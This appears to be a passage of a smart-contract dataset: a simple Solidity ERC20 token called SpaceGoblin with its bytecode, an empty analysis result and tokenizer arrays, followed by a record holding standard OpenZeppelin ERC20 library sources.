{ require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract SpaceGoblin is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "SpaceGoblin"; symbol = "Goblin"; decimals = 4; _totalSupply = 70000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101d857806323b872dd14610203578063313ce567146102965780633eaaf86b146102c757806370a08231146102f257806395d89b4114610357578063a293d1e8146103e7578063a9059cbb14610440578063b5931f7c146104b3578063d05c78da1461050c578063dd62ed3e14610565578063e6cb9013146105ea575b600080fd5b3480156100e157600080fd5b506100ea610643565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b506101ed6107d3565b6040518082815260200191505060405180910390f35b34801561020f57600080fd5b5061027c6004803603606081101561022657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081e565b604051808215151515815260200191505060405180910390f35b3480156102a257600080fd5b506102ab610aae565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610ac1565b6040518082815260200191505060405180910390f35b3480156102fe57600080fd5b506103416004803603602081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac7565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c610b10565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ac578082015181840152602081019050610391565b50505050905090810190601f1680156103d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f357600080fd5b5061042a6004803603604081101561040a57600080fd5b810190808035906020019092919080359060200190929190505050610bae565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b506104996004803603604081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bca565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104f6600480360360408110156104d657600080fd5b810190808035906020019092919080359060200190929190505050610d53565b6040518082815260200191505060405180910390f35b34801561051857600080fd5b5061054f6004803603604081101561052f57600080fd5b810190808035906020019092919080359060200190929190505050610d77565b6040518082815260200191505060405180910390f35b34801561057157600080fd5b506105d46004803603604081101561058857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b5061062d6004803603604081101561060d57600080fd5b810190808035906020019092919080359060200190929190505050610e2f565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d95780601f106106ae576101008083540402835291602001916106d9565b820191906000526020600020905b8154815290600101906020018083116106bc57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b6000610869600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610932600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109fb600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ba65780601f10610b7b57610100808354040283529160200191610ba6565b820191906000526020600020905b815481529060010190602001808311610b8957829003601f168201915b505050505081565b6000828211151515610bbf57600080fd5b818303905092915050565b6000610c15600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca1600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d6357600080fd5b8183811515610d6e57fe5b04905092915050565b600081830290506000831480610d975750818382811515610d9457fe5b04145b1515610da257600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183019050828110151515610e4557600080fd5b9291505056fea165627a7a7230582070b3c22e8389ef12733c06127063fefbd7cce7a4d4d39237c2dff8f55c226ea70029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 28311, 2050, 27009, 2683, 11057, 23833, 2629, 2497, 2692, 22275, 21084, 2692, 2575, 2509, 2497, 2509, 27421, 2094, 2549, 3676, 26187, 2509, 9468, 2549, 2063, 16086, 2094, 2575, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 9413, 2278, 19204, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,649
0x957a65705e0aafbb305ab73174203b2e4b77bbfc
// * SPDX-License-Identifier: GPL-3.0-or-later // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // 